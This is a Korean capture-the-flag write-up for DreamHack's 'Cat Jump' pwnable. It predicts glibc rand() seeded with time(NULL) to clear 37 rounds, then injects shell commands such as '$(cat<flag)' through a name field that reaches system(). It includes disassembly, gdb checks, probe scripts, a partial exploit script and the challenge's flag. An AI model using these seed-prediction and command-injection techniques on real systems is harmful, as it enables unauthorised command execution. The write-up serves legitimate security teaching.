[🥉 Bronze 3] 시드를 맞혀 37수를 미리 짜고, 이름 칸으로 셸을 부른다 — DreamHack Cat Jump 풀이

2026-08-02·1분 읽기·

[🥉 Bronze 3] 시드를 맞혀 37수를 미리 짜고, 이름 칸으로 셸을 부른다 — DreamHack Cat Jump 풀이

고양이가 37번 연속으로 장애물을 피해야 이름을 적을 수 있고, 그 이름은 snprintf 로 조립돼 system() 에 그대로 넘어간다. srand(time(NULL)) 이라 장애물 배치를 접속 시각만으로 전부 재현할 수 있어 37수를 미리 계산해 한 번에 밀어넣었고, 공백을 못 쓰는 제약은 명령 치환과 입력 리다이렉션으로 11글자에 맞춰 우회했다.

문제: DreamHack — Cat Jump 분류: pwnable 난이도: 🥉 Bronze 3 FLAG: DH{da65478323e88390957aee8177eb3cf6e60a2a6b486a76d46fc4d94ec785bb48}

고양이가 방해물을 피해 옥상까지 올라가는 게임이다. 문제 설명은 그게 전부고, 소스가 통째로 들어 있다.

소스를 열면 취약점 자체는 금방 보인다. 문제는 그 취약점이 게임을 37번 연속으로 이긴 뒤에야 열린다는 것이다. 장애물은 매 라운드 rand() 로 놓이니까 찍어서 37번을 통과할 확률은 사실상 0이다. 그래서 이 문제는 "명령 주입을 아느냐"가 아니라 "난수를 재현할 수 있느냐" 로 갈린다.


문제 개요

항목내용
문제명Cat Jump
난이도🥉 Bronze 3
분류pwnable
제공 파일Dockerfile, deploy/cat_jump(바이너리), deploy/cat_jump.c(소스), run.sh, xinetd
서버host3.dreamhack.games:11552 (xinetd, 문제마다 포트 다름)
핵심 취약점srand(time(NULL)) 시드 예측 + system() 명령 주입

풀이 흐름은 두 단계다. 접속 시각으로 시드를 맞혀 37수를 통째로 계산해 한 번에 보내고, 이름 칸에 $(cat<flag) 를 넣어 프로그램이 자기 손으로 플래그를 출력하게 만든다.



🔬 코드 정찰

배포본부터 펼쳐 본다.

ls -R extracted && file extracted/deploy/cat_jump
ls -R 로 배포본 구조 확인, file 로 ELF 형식 확인
ls -R 로 배포본 구조 확인, file 로 ELF 형식 확인

소스(cat_jump.c)와 컴파일된 바이너리, 그리고 배포 스크립트가 다 들어 있다. flag 파일도 자리표시용 더미로 같이 들어 있는데, 이게 나중에 경로를 잡는 데 쓰인다.

보호 기법을 먼저 본다.

pwn checksec extracted/deploy/cat_jump
pwntools checksec 출력 — Full RELRO, Canary, NX, PIE 전부 켜져 있다
pwntools checksec 출력 — Full RELRO, Canary, NX, PIE 전부 켜져 있다

Full RELRO · Canary · NX · PIE 가 전부 켜져 있다. 그런데 소스 첫 줄 주석은 이렇게 되어 있다.

/* cat_jump.c
 * gcc -Wall -no-pie -fno-stack-protector cat_jump.c -o cat_jump
*/

주석대로면 PIE 도 카나리도 없어야 하는데 실제 바이너리는 둘 다 있다. 배포된 바이너리는 저 명령으로 만든 게 아니라는 뜻이다. 어차피 이 문제는 메모리 손상으로 푸는 게 아니라서 결론은 안 바뀌지만, 주석을 믿고 스택 오버플로우를 노렸다면 시간을 버렸을 것이다.

게임 루프

핵심은 StartGame() 하나다.

#define CAT_JUMP_GOAL 37
#define CATNIP_PROBABILITY 0.1
#define CATNIP_INVINCIBLE_TIMES 3
#define OBSTACLE_LEFT  0
#define OBSTACLE_RIGHT 1
 
void StartGame() {
    char cat_name[32];
    char catnip;
    char cmd[64];
    char input;
    char obstacle;
    double p;
    unsigned char jump_cnt;
 
    srand(time(NULL));
 
    catnip = 0;
    jump_cnt = 0;
 
    puts("let the cat reach the roof! 🐈");
    sleep(1);
 
    do {
        obstacle = rand() % 2;
 
        do {
            printf("left jump='h', right jump='j': ");
            scanf("%c%*c", &input);
        } while (input != 'h' && input != 'l');
 
        if (catnip) {
            catnip--;
            jump_cnt++;
            puts("the cat powered up and is invincible! nothing cannot stop! 🐈");
        } else if ((input == 'h' && obstacle != OBSTACLE_LEFT) ||
                (input == 'l' && obstacle != OBSTACLE_RIGHT)) {
            jump_cnt++;
            puts("the cat jumped successfully! 🐱");
        } else {
            puts("the cat got stuck by obstacle! 😿 🪨 ");
            return;
        }
 
        p = (double)rand() / RAND_MAX;
        if (p < CATNIP_PROBABILITY) {
            puts("the cat found and ate some catnip! 😽");
            catnip = CATNIP_INVINCIBLE_TIMES;
        }
    } while (jump_cnt < CAT_JUMP_GOAL);
 
    puts("your cat has reached the roof!\n");
 
    printf("let people know your cat's name 😼: ");
    scanf("%31s", cat_name);
 
    snprintf(cmd, sizeof(cmd), cmd_fmt, cat_name);
    system(cmd);
 
    printf("goodjob! ");
    system("cat /tmp/cat_db");
}

읽어야 할 것을 정리하면 이렇다.

  • 한 라운드에 rand() 가 두 번 불린다. 첫 번째는 장애물 위치, 두 번째는 개박하(무적) 확률.

  • 'h' 는 obstacle != 0 일 때, 'l' 은 obstacle != 1 일 때 성공한다. 즉 장애물이 1이면 'h', 0이면 'l' 이다.

  • 한 번이라도 틀리면 그 자리에서 return 이라 재도전이 없다. 연결을 새로 맺어야 한다.

  • 37번을 채우면 이름을 받고, 그 이름이 cmd_fmt 에 끼워져 system() 으로 간다.

cmd_fmt 는 전역이다.

char cmd_fmt[] = "echo \"%s\" > /tmp/cat_db";

이름이 큰따옴표 안쪽에 들어가고, 조립된 문자열이 통째로 셸에 넘어간다. 여기가 목표 지점이다.

배포 스크립트

서버가 이 바이너리를 어떻게 띄우는지도 봐야 한다.

#!/bin/bash
#
cd /home/cat_jump
exec 2>/dev/null
timeout 60 /home/cat_jump/cat_jump

두 줄이 중요하다. cd /home/cat_jump 덕분에 작업 디렉토리에 flag 가 그대로 있다 — 절대경로를 쓸 필요가 없다. 그리고 timeout 60 이 있어서 37라운드를 60초 안에 끝내야 한다. 한 수씩 주고받으며 반응을 보는 방식으로는 빠듯하다.

xinetd 설정을 보면 사용자는 cat_jump, 포트는 31337 이다. Dockerfile 에서 flag 는 chmod 440 root:cat_jump 이라 그 사용자로 읽을 수 있다.


🧩 배경 — glibc rand() 는 어디까지 예측되나

srand(time(NULL)) 은 흔한 관용구지만, 공격자 입장에서는 시드 후보가 초 단위로 몇 개뿐이라는 뜻이다. 접속한 시각을 알면 시드를 안다.

시드를 알면 그 다음은 결정론이다. glibc 의 rand() 는 기본적으로 TYPE_3 — 상태 31칸짜리 가산 되먹임 생성기(additive feedback, lagged Fibonacci 계열)다. 동작은 이게 전부다.

초기화   r[0] = seed
         r[i] = (16807 * r[i-1]) % 2147483647     (i = 1..30)
         r[i] = r[i-31]                            (i = 31..33)
점화식   r[i] = (r[i-3] + r[i-31]) mod 2^32        (i >= 34)
출력     rand() 의 n 번째 값 = r[n + 344] >> 1

앞의 344개를 버리는 워밍업까지 포함해 서른 줄이면 그대로 옮겨 쓸 수 있다. 암호학적 안전성이 목표인 물건이 아니라 통계적으로 고르기만 하면 되는 물건이라, 상태를 숨기려는 장치가 아예 없다.

시드 하나가 37수를 전부 결정하는 구조 — 라운드마다 rand() 가 장애물용·개박하용으로 두 번 소모된다
시드 하나가 37수를 전부 결정하는 구조 — 라운드마다 rand() 가 장애물용·개박하용으로 두 번 소모된다

여기서 놓치기 쉬운 게 하나 있다. 무적 상태에서도 장애물용 rand() 는 그대로 소모된다. 소스를 보면 obstacle = rand() % 2 가 if (catnip) 검사보다 위에 있다. 이걸 빠뜨리고 "무적이면 rand 를 안 쓰겠지"라고 넘기면 개박하를 먹은 순간부터 스트림이 통째로 어긋난다.


🐛 삽질과 함정

▶🐛 삽질 1 — /dev/null 로 돌렸다가 458MB 로그를 받았다

바이너리 동작을 보려고 아무 생각 없이 < /dev/null 로 한 번 돌렸다. timeout 10 을 걸어 뒀는데도 출력이 458MB 나왔다. 터미널이 프롬프트로 뒤덮였다.

원인은 이 do-while 이다.

do {
    printf("left jump='h', right jump='j': ");
    scanf("%c%*c", &input);
} while (input != 'h' && input != 'l');

scanf 의 반환값을 안 본다. EOF 를 만나면 scanf 는 EOF 를 돌려주고 input 을 건드리지 않는다. 초기값이 'h' 나 'l' 이 아닌 쓰레기 값이면 조건이 영원히 참이고, 프롬프트만 미친 속도로 찍힌다.

얼마나 빠른지 재 봤다.

#!/usr/bin/env python3
"""stdin 을 /dev/null 로 주면 무슨 일이 나는지 — 실제로 재 본다.
 
    do { printf(...); scanf("%c%*c", &input); }
    while (input != 'h' && input != 'l');
 
scanf 의 반환값을 안 본다. EOF 면 input 이 안 바뀌므로, 초기값이 'h'/'l' 이
아닌 한 조건이 영원히 참이고 프롬프트만 계속 찍힌다.
"""
import subprocess
import time
 
SEC = 2
with open("/dev/null") as devnull, open("/tmp/cat_spin.txt", "wb") as out:
    p = subprocess.Popen(["local/cat_jump"], stdin=devnull, stdout=out,
                         stderr=subprocess.STDOUT)
    time.sleep(SEC)
    p.kill()
    p.wait()
 
blob = open("/tmp/cat_spin.txt", "rb").read()
prompts = blob.count(b"left jump")
print(f"{SEC}초 동안 stdin=/dev/null 로 방치한 결과")
print(f"  출력 크기      : {len(blob):,} 바이트 ({len(blob)/1024/1024:.1f} MB)")
print(f"  프롬프트 반복  : {prompts:,} 회")
print(f"  초당           : {prompts // SEC:,} 회/초")
probe_eof.py 실행 — 2초 만에 27.8MB, 프롬프트 94만 회 반복
probe_eof.py 실행 — 2초 만에 27.8MB, 프롬프트 94만 회 반복

2초에 27.8MB, 초당 47만 번씩 프롬프트를 찍는다. 처음에 10초를 방치했을 때 458MB 가 나온 게 이 속도다.

원격에서는 run.sh 의 timeout 60 이 끊어 주니 서비스가 죽지는 않지만, 로컬에서 무심코 파이프로 받으면 디스크가 먼저 운다.

▶🐛 함정 2 — 프롬프트는 'j' 라는데 코드가 받는 건 'l' 이다

프롬프트가 이렇게 나온다.

left jump='h', right jump='j':

그런데 조건문은 while (input != 'h' && input != 'l') 다. 'j' 는 아무리 보내도 루프를 못 빠져나간다. 안내대로 쳤다가 "왜 반응이 없지"로 시간을 버리기 딱 좋다.

직접 확인해 봤다.

#!/usr/bin/env python3
"""프롬프트는 'j' 라는데 코드가 받는 건 'l' 이다 — 실제로 확인.
 
    printf("left jump='h', right jump='j': ");
    scanf("%c%*c", &input);
    } while (input != 'h' && input != 'l');
"""
import os
import warnings
 
os.environ.setdefault("TERM", "xterm")
warnings.filterwarnings("ignore", category=BytesWarning)
 
from pwn import context, process
 
context.log_level = "warning"
 
io = process("local/cat_jump")
io.recvuntil(b"reach the roof")
 
print("[*] 안내대로 'j' 를 5번 보낸다")
io.send(b"j\n" * 5)
data = io.recvrepeat(3)
print(f"    프롬프트 재출력 {data.count(b'left jump')}회 / 점프 판정 {data.count(b'the cat')}회")
print("    → 'j' 는 do-while 조건을 못 빠져나와 되묻기만 한다")
 
print("\n[*] 이번엔 'l' 을 보낸다")
io.send(b"l\n")
data = io.recvrepeat(3)
print(f"    프롬프트 재출력 {data.count(b'left jump')}회 / 점프 판정 {data.count(b'the cat')}회")
for line in data.split(b"\n"):
    if b"the cat" in line:
        print("   ", line.decode(errors="replace").strip())
io.close()
probe_input.py 실행 — 'j' 5번엔 판정 0회, 'l' 을 보내야 판정이 난다
probe_input.py 실행 — 'j' 5번엔 판정 0회, 'l' 을 보내야 판정이 난다

'j' 를 다섯 번 보내니 프롬프트만 여섯 번 다시 떴고 점프 판정은 한 번도 없었다. 'l' 을 보내자 그제서야 판정이 났다. 이 판은 운 좋게 통과했지만, 예측 없이 보낸 것이라 절반은 여기서 죽는다.

▶🐛 함정 3 — 찍어서는 37수를 못 간다

혹시나 해서 예측 없이 'h' 만 37번 보내는 걸 10판 돌려 봤다.

#!/usr/bin/env python3
"""예측 없이 'h' 만 계속 보내면 어디까지 가나 — 10판 실측.
 
장애물이 rand()%2 라 한 라운드 생존 확률이 1/2. 37라운드를 다 통과할 확률은
2^-37 근처(개박하가 조금 올려 준다)라 찍어서는 안 된다는 걸 숫자로 본다.
"""
import os
import warnings
 
os.environ.setdefault("TERM", "xterm")
warnings.filterwarnings("ignore", category=BytesWarning)
 
from pwn import context, process
 
context.log_level = "warning"
 
BIN = os.path.abspath("local/cat_jump")
ROUNDS = 10
GOAL = 37
 
results = []
for i in range(ROUNDS):
    io = process(BIN)
    io.send(b"h\n" * GOAL)
    out = io.recvall(timeout=10)
    io.close()
    jumps = out.count(b"jumped successfully") + out.count(b"invincible")
    results.append(jumps)
    print(f"  {i + 1:>2}판째: {jumps:>2}회 점프하고 {'도달!' if jumps >= GOAL else '막힘'}")
 
print()
print(f"평균 {sum(results) / len(results):.1f}회 / 목표 {GOAL}회, "
      f"최고 기록 {max(results)}회, 도달 {results.count(GOAL)}회")
print("→ 찍어서는 못 간다. rand() 를 맞혀야 한다.")
naive_play.py 실행 — 10판 평균 0.4회 점프, 최고 2회, 37회 도달 0
naive_play.py 실행 — 10판 평균 0.4회 점프, 최고 2회, 37회 도달 0

평균 0.4회, 최고 기록이 2회다. 개박하가 확률을 조금 올려 주긴 하지만 37번을 통째로 통과할 기댓값은 2⁻³⁷ 언저리다. 예측 말고는 길이 없다.


💣 핵심 — 시드를 맞히면 37수가 통째로 나온다

소스만 보고 넘어가지 않고 바이너리에서도 확인했다. 먼저 시드가 만들어지는 자리다.

objdump -d --no-show-raw-insn --start-address=0x1308 --stop-address=0x1368 extracted/deploy/cat_jump | sed -E -f annot_seed.sed

주석(<--)은 내가 sed 로 얹은 것이고, 왼쪽 디스어셈블리는 objdump 출력 그대로다. 치환 규칙은 이렇다.

# annot_seed.sed
s|(call.*<time@plt>)|\1        <-- time(NULL) : 초 단위 현재시각|
s|(call.*<srand@plt>)|\1       <-- srand(그 값) : 시드가 곧 접속 시각|
s|(call.*<sleep@plt>)|\1       <-- sleep(1)|
s|(call.*<rand@plt>)|\1        <-- rand() #1 : 장애물|
s|(and +\$0x1,%eax)|\1               <-- % 2 (0=왼쪽, 1=오른쪽)|
s|(mov +%al,-0x79\(%rbp\))|\1        <-- obstacle 에 저장|
objdump 정적 분석 — time@plt 결과가 그대로 srand@plt 로 들어가고, 첫 rand() 가 %2 로 장애물이 된다
objdump 정적 분석 — time@plt 결과가 그대로 srand@plt 로 들어가고, 첫 rand() 가 %2 로 장애물이 된다

time@plt 의 반환값이 %eax → %edi 로 옮겨져 곧장 srand@plt 로 들어간다. 중간에 섞는 연산이 없다. 시드는 접속 시각 그 자체다.

이어서 라운드 뒷부분과 이름 처리 구간이다.

objdump -d --no-show-raw-insn --start-address=0x141d --stop-address=0x14d5 extracted/deploy/cat_jump | sed -E -f annot_inject.sed
# annot_inject.sed
s|(call.*<rand@plt>)|\1        <-- rand() #2 : 개박하 확률 (라운드당 rand 는 2회)|
s|(cmpb +\$0x24,-0x7a\(%rbp\))|\1   <-- jump_cnt <= 36 이면 루프 계속 = 37회 목표|
s|(call.*<__isoc99_scanf@plt>)|\1  <-- scanf("%31s", cat_name)|
s|(mov +\$0x40,%esi)|\1              <-- snprintf 크기 = sizeof(cmd) = 64|
s|(lea.*<cmd_fmt>)|\1  <-- echo "%s" > /tmp/cat_db|
s|(call.*<snprintf@plt>)|\1    <-- 이름을 포맷에 그대로 끼워 넣는다|
s|(call.*<system@plt>)|\1      <-- 그 문자열이 통째로 셸로 간다  ★|
objdump 정적 분석 — 두 번째 rand, 루프 종료조건 cmpb $0x24, snprintf 크기 0x40, 그리고 system 호출
objdump 정적 분석 — 두 번째 rand, 루프 종료조건 cmpb $0x24, snprintf 크기 0x40, 그리고 system 호출

cmpb $0x24,-0x7a(%rbp) 다음이 jbe 다. 0x24 는 36이고 부호 없는 비교니까 jump_cnt <= 36 이면 루프를 계속한다 — 소스의 37회와 정확히 맞는다. 그리고 라운드가 끝날 때마다 rand@plt 가 한 번 더 불리는 것도 여기서 확인된다.

런타임으로 다시 확인

정적으로 읽은 게 실제 실행과 맞는지는 gdb 로 본다. srand 진입점에서 시드를 1234로 강제 고정하면 결과가 결정론이 되어 예측값과 한 줄씩 대조할 수 있다.

# cmds.gdb
set pagination off
set confirm off
 
break srand
run < moves_1234.txt
 
printf "\n[gdb] time(NULL) 이 준 원래 시드 = %u\n", (unsigned)$rdi
set $rdi = 1234
printf "[gdb] 시드를 1234 로 고정하고 계속한다\n\n"
 
delete
break *(StartGame+0x52)
break *(StartGame+0x11a)
 
set $i = 1
while $i <= 6
  continue
  printf "[gdb] rand() #%d = %u\n", $i, (unsigned)$eax
  set $i = $i + 1
end
 
kill

+0x52 와 +0x11a 는 위 objdump 에서 확인한 두 call rand 의 다음 명령 주소다. 거기서 $eax 가 곧 반환값이다. 입력은 시드 1234 용으로 미리 뽑아 둔 37수를 먹인다.

#!/usr/bin/env python3
"""시드 하나에 대한 37수를 파일로 뽑는다. gdb 검증에 먹일 입력을 만들 때 쓴다.
 
    python3 make_moves.py 1234 moves_1234.txt
"""
import sys
 
from solve import plan_moves
 
 
def main():
    seed = int(sys.argv[1])
    out = sys.argv[2] if len(sys.argv) > 2 else None
 
    moves = plan_moves(seed)
    blob = b"".join(m + b"\n" for m in moves)
 
    print(f"seed={seed}  총 {len(moves)}수")
    print("앞 12수:", b" ".join(moves[:12]).decode())
    if out:
        with open(out, "wb") as f:
            f.write(blob)
        print(f"→ {out} ({len(blob)} 바이트)")
 
 
if __name__ == "__main__":
    main()
gdb -q -batch -x cmds.gdb --args local/cat_jump

화면 위쪽 고양이 ASCII 아트는 프로그램이 시작할 때 스스로 찍는 배너다. 파이프로 걸러 보려고 했는데 안 됐다 — gdb 는 실행 대상에게 터미널을 그대로 물려주기 때문에, 프로그램 출력은 gdb 의 stdout 파이프를 타지 않고 터미널로 직행한다. 그래서 아래 화면은 손대지 않은 원본 그대로다.

gdb -batch 런타임 검증 — 시드를 1234로 고정한 뒤 rand() 반환값 6개를 브레이크포인트에서 읽어냈다
gdb -batch 런타임 검증 — 시드를 1234로 고정한 뒤 rand() 반환값 6개를 브레이크포인트에서 읽어냈다

게임이 실제로 진행되면서(the cat jumped successfully!) 브레이크포인트 2·3이 번갈아 걸린다. 라운드당 rand() 두 번이라는 게 실행 화면에서 그대로 보인다.

이제 이 값들을 파이썬 예측값과 맞춰 본다.

#!/usr/bin/env python3
"""gdb 로 실제 실행 중에 뽑은 rand() 값 vs 파이썬 예측값 대조.
 
cmds.gdb 가 시드를 1234 로 고정하고 rand() 반환값 6개를 찍는다.
그 출력을 파싱해서 glibc_rand_seq(1234) 와 한 값씩 맞춰 본다.
"""
import re
import subprocess
 
from glibc_rand import glibc_rand_seq
 
SEED = 1234
N = 6
 
out = subprocess.run(
    ["gdb", "-q", "-batch", "-x", "cmds.gdb", "--args", "local/cat_jump"],
    capture_output=True, text=True, timeout=180,
).stdout
 
observed = [int(v) for v in re.findall(r"rand\(\) #\d+ = (\d+)", out)]
predicted = glibc_rand_seq(SEED, N)
 
print(f"시드 {SEED} 고정 — gdb 실측 vs 파이썬 예측\n")
print(f"{'#':>2}  {'gdb 실측':>12}  {'예측':>12}   {'%2':>3}  일치")
print("-" * 46)
ok = True
for i, (obs, pred) in enumerate(zip(observed, predicted), 1):
    same = obs == pred
    ok &= same
    print(f"{i:>2}  {obs:>12}  {pred:>12}   {pred % 2:>3}  {'O' if same else 'X'}")
 
print()
print(f"[{'OK' if ok and len(observed) == N else 'FAIL'}] {len(observed)}/{N} 값 일치 "
      f"— 홀수(=obstacle 1)면 'h', 짝수면 'l'")
verify_rand.py 실행 — gdb 실측값과 파이썬 예측값 6개가 전부 일치
verify_rand.py 실행 — gdb 실측값과 파이썬 예측값 6개가 전부 일치

6개 전부 일치한다. 예측기가 실제 프로세스와 같은 스트림을 뽑고 있다는 게 확인됐으니, 남은 건 시드를 맞히는 것뿐이다.

시드는 접속 시각이고 우리 시계와 서버 시계가 몇 초 어긋날 수 있으니, 후보를 현재시각 ± N초 로 훑는다. 한 판이 실패해도 연결만 다시 맺으면 되니 비용이 거의 없다.



🎯 이름 칸으로 셸 부르기

37수를 통과하면 이름을 묻는다. 여기가 실제 취약점이다.

char cat_name[32];
char cmd[64];
...
scanf("%31s", cat_name);
snprintf(cmd, sizeof(cmd), cmd_fmt, cat_name);   // "echo \"%s\" > /tmp/cat_db"
system(cmd);
 
printf("goodjob! ");
system("cat /tmp/cat_db");

버퍼 관점에서 보면 멀쩡하다. 실제로 세어 보면 넘칠 수가 없다.

#!/usr/bin/env python3
"""cmd[64] 가 넘치는지 / 이름에 몇 글자를 쓸 수 있는지 실제로 세어 본다.
 
    char cmd[64];
    snprintf(cmd, sizeof(cmd), "echo \"%s\" > /tmp/cat_db", cat_name);
"""
FMT = 'echo "%s" > /tmp/cat_db'
CMD_SZ = 64
NAME_MAX = 31          # scanf("%31s") — 31글자 + NUL
 
fixed = len(FMT) - 2   # %s 자리를 뺀 고정부
print(f"포맷 문자열      : {FMT!r}")
print(f"고정부 길이      : {fixed} 바이트  (%s 제외)")
print(f"이름 최대        : {NAME_MAX} 바이트 (scanf %31s)")
print(f"최악의 cmd 길이  : {fixed + NAME_MAX} + NUL = {fixed + NAME_MAX + 1}")
print(f"cmd 버퍼         : {CMD_SZ}")
print()
print("→ snprintf 잘림/오버플로우 없음. 버퍼가 아니라 "
      "'셸에 그대로 넘어간다'가 취약점이다.\n")
 
for name in ['"; cat flag; #', '$(cat<flag)', '";cat<flag;#']:
    got = name[:NAME_MAX]
    cut = got.split()[0]                     # scanf %s 는 공백에서 끊는다
    print(f"입력  : {name}")
    print(f"  scanf 가 받는 값 : {cut!r}   ({len(cut)}글자)")
    print(f"  최종 cmd         : {FMT % cut}")
    print()
check_cmd_len.py 실행 — 고정부 21 + 이름 31 = 52 로 cmd[64] 안에 들어가고, 공백 있는 페이로드는 잘린다
check_cmd_len.py 실행 — 고정부 21 + 이름 31 = 52 로 cmd[64] 안에 들어가고, 공백 있는 페이로드는 잘린다

고정부 21바이트 + 이름 최대 31바이트 = 52바이트라 cmd[64] 를 절대 못 넘긴다. snprintf 도 크기를 제대로 받았다. 즉 메모리 손상은 아예 성립하지 않는다. 취약점은 조립된 문자열이 검증 없이 system() 으로 간다는 것 하나다.

제약은 scanf("%31s") 다. %s 변환은 공백에서 끊기므로 페이로드에 공백을 못 쓴다. 위 출력의 첫 항목이 그 결과를 보여준다 — "; cat flag; # 를 보내면 "; 두 글자만 남는다.

이름이 셸 명령으로 조립되는 과정 — 공백이 있으면 잘려서 문법 오류, 명령 치환은 그대로 실행된다
이름이 셸 명령으로 조립되는 과정 — 공백이 있으면 잘려서 문법 오류, 명령 치환은 그대로 실행된다
▶🐛 함정 4 — 공백 페이로드를 실제로 넣어 보면

말로만 하지 말고 로컬에서 두 페이로드를 나란히 넣어 비교했다.

#!/usr/bin/env python3
"""공백 들어간 페이로드가 왜 안 되는지 — 로컬에서 직접 넣어 본다.
 
37수를 정상으로 통과한 뒤 이름 칸에 두 가지를 넣어 결과를 비교한다.
  A. '"; cat flag; #'  → scanf("%31s") 가 첫 공백에서 끊어 '";' 만 받는다
  B. '$(cat<flag)'     → 공백이 없어 통째로 들어간다
"""
import os
import time
import warnings
 
os.environ.setdefault("TERM", "xterm")
warnings.filterwarnings("ignore", category=BytesWarning)
 
from pwn import context, process
 
from solve import plan_moves
 
context.log_level = "warning"
 
# pwntools 는 cwd 를 준 뒤에도 실행경로를 다시 cwd 기준으로 푼다 — 절대경로로 준다.
BIN = os.path.abspath("local/cat_jump")
CWD = os.path.abspath("local")
 
 
def run(payload):
    # 앞선 실행이 남긴 /tmp/cat_db 를 지운다. 안 지우면 주입이 실패해도
    # 프로그램의 마지막 `cat /tmp/cat_db` 가 옛 값을 뱉어 성공처럼 보인다.
    if os.path.exists("/tmp/cat_db"):
        os.unlink("/tmp/cat_db")
    io = process(BIN, cwd=CWD)
    seed = int(time.time())
    io.send(b"".join(m + b"\n" for m in plan_moves(seed)))
    try:
        io.recvuntil(b"reached the roof", timeout=15)
    except EOFError:
        io.close()
        return None
    io.send(payload + b"\n")
    out = io.recvall(timeout=5)
    io.close()
    return out
 
 
for label, payload in [("A 공백 있음", b'"; cat flag; #'), ("B 공백 없음", b"$(cat<flag)")]:
    out = None
    while out is None:                   # 시드가 어긋나면 게임에서 죽으니 될 때까지
        out = run(payload)
    tail = out.decode(errors="replace").strip().replace("\n", " ⏎ ")
    print(f"[{label}] 보낸 이름: {payload.decode()}")
    print(f"   프로그램 출력: {tail}")
    print()
probe_space.py 실행 — 공백 페이로드는 sh 문법 오류, 명령 치환은 로컬 더미 플래그를 출력
probe_space.py 실행 — 공백 페이로드는 sh 문법 오류, 명령 치환은 로컬 더미 플래그를 출력

공백이 있는 쪽은 sh: 1: Syntax error: Unterminated quoted string 이 뜨고 /tmp/cat_db 는 아예 만들어지지 않는다. 여기 나오는 DH{LOCAL_TEST_FAKE_FLAG_not_real} 은 로컬 테스트용으로 내가 만든 더미 파일이다.

이 스크립트를 쓰면서 한 가지 걸린 게 있다. 처음에는 /tmp/cat_db 를 안 지우고 돌렸는데, 주입이 실패한 A 쪽에서도 플래그가 찍혔다. 앞선 실행이 남긴 파일을 프로그램의 마지막 cat /tmp/cat_db 가 그냥 읽어 준 것이다. 실패를 성공으로 착각하기 좋은 자리라 매 실행 전에 지우도록 고쳤다.

11글자짜리 페이로드

공백을 피하는 방법은 두 가지다.

$(cat<flag)      # 명령 치환 — echo 가 플래그를 /tmp/cat_db 에 써 준다
";cat<flag;#     # 따옴표를 닫고 직접 실행 — 플래그가 stdout 으로 바로 나온다

둘 다 공백 대신 < 리다이렉션으로 인자를 넘긴다. run.sh 가 cd /home/cat_jump 를 해 두었으니 경로도 flag 한 단어면 충분해서, 첫 번째는 11글자밖에 안 된다.

첫 번째를 기본으로 골랐다. 프로그램이 마지막에 system("cat /tmp/cat_db") 를 스스로 실행하므로, 우리는 파일에 써 두기만 하면 출력은 프로그램이 대신 해 준다. 두 번째는 /tmp/cat_db 쓰기가 막혔을 때를 대비한 예비다.


🚀 Full Exploit

난수 재현부터. glibc 초기화 절차를 그대로 옮긴 것이고, __main__ 에서 실제 libc 와 대조한다.

#!/usr/bin/env python3
"""glibc rand() 재현 — TYPE_3 (additive feedback, deg=31, sep=3).
 
srand(seed) 이후의 rand() 반환값을 그대로 계산한다.
glibc random_r.c 의 초기화 절차를 그대로 옮긴 것:
  r[0] = seed
  r[i] = (16807 * r[i-1]) % 2147483647          (i = 1..30, Lehmer)
  r[i] = r[i-31]                                 (i = 31..33)
  r[i] = (r[i-3] + r[i-31]) mod 2**32            (i >= 34)
  rand() 의 i 번째 출력 = r[i+344] >> 1
"""
 
 
def glibc_rand_seq(seed, count):
    """srand(seed) 뒤 rand() 를 count 번 부른 결과 리스트."""
    n = count + 344
    r = [0] * n
    seed &= 0xFFFFFFFF
    if seed == 0:  # glibc: 시드 0 은 1 로 바꿔 쓴다 (상태가 전부 0 이 되는 것 방지)
        seed = 1
    r[0] = seed
 
    # 31개 상태를 Lehmer(minimal standard) 로 채운다.
    for i in range(1, 31):
        prev = r[i - 1]
        # glibc 는 오버플로 피하려고 Schrage 기법을 쓰지만 값은 아래와 동일하다.
        word = (16807 * prev) % 2147483647
        r[i] = word
 
    for i in range(31, 34):
        r[i] = r[i - 31]
 
    for i in range(34, n):
        r[i] = (r[i - 3] + r[i - 31]) & 0xFFFFFFFF
 
    return [r[i] >> 1 for i in range(344, n)]
 
 
if __name__ == "__main__":
    # ctypes 로 실제 libc 를 불러 같은 값이 나오는지 대조한다.
    import ctypes
 
    libc = ctypes.CDLL("libc.so.6")
    for seed in (0, 1, 1785647064, 0x7FFFFFFF, 12345):
        libc.srand(seed)
        real = [libc.rand() for _ in range(80)]
        mine = glibc_rand_seq(seed, 80)
        ok = "OK " if real == mine else "MISMATCH"
        print(f"[{ok}] seed={seed:<12} real[:5]={real[:5]}")
        if real != mine:
            for i, (a, b) in enumerate(zip(real, mine)):
                if a != b:
                    print(f"   첫 불일치 i={i}: libc={a} mine={b}")
                    break

그 위에 얹은 익스플로잇이다. 시드 후보를 훑고, 37수를 한 번에 밀어넣고, 이름 칸에 페이로드를 넣는다.

#!/usr/bin/env python3
"""Cat Jump (Dreamhack Bronze 3, pwnable) exploit.
 
두 단계다.
  1) 37번 연속으로 장애물을 피해야 이름 입력 단계에 도달한다.
     obstacle = rand() % 2 인데 srand(time(NULL)) 이므로 시드를 초 단위로 맞히면
     37수 전체를 미리 계산할 수 있다. 서버 시계 오차는 후보 시드를 훑어서 흡수한다.
  2) 이름은 snprintf(cmd, 64, "echo \"%s\" > /tmp/cat_db", cat_name) 에 그대로 박혀
     system(cmd) 로 실행된다. scanf("%31s") 라 공백은 못 쓰지만 명령 치환은 된다.
 
사용법:
  python3 solve.py --local                       # 로컬 바이너리로 검증
  python3 solve.py --host host1.dreamhack.games --port 12345
"""
import argparse
import os
import sys
import time
import warnings
 
os.environ.setdefault("TERM", "xterm")
# pwntools 가 argv 를 str 로 다룰 때 내는 잡음. 익스와 무관해서 끈다.
warnings.filterwarnings("ignore", category=BytesWarning)
 
from glibc_rand import glibc_rand_seq
 
from pwn import context, process, remote
 
GOAL = 37                 # CAT_JUMP_GOAL
RAND_MAX = 2147483647
CATNIP_P = 0.1            # CATNIP_PROBABILITY
CATNIP_TIMES = 3          # CATNIP_INVINCIBLE_TIMES
 
# echo "..." 안쪽이라 명령 치환이 그대로 먹는다. run.sh 가 cd /home/cat_jump 하므로 상대경로.
PAYLOADS = [
    b"$(cat<flag)",     # /tmp/cat_db 에 flag 를 써서 프로그램의 cat 이 대신 출력하게 한다
    b'";cat<flag;#',    # /tmp/cat_db 가 안 써질 때용 — flag 를 stdout 으로 직접
]
 
 
def plan_moves(seed):
    """시드 하나에 대해 37수를 통째로 계산한다.
 
    한 라운드에 rand() 가 두 번 불린다: 장애물 위치 / 개박하 확률.
    'h'(왼쪽)는 obstacle==1 일 때, 'l'(오른쪽)은 obstacle==0 일 때 성공한다.
    """
    seq = glibc_rand_seq(seed, GOAL * 2 + 16)
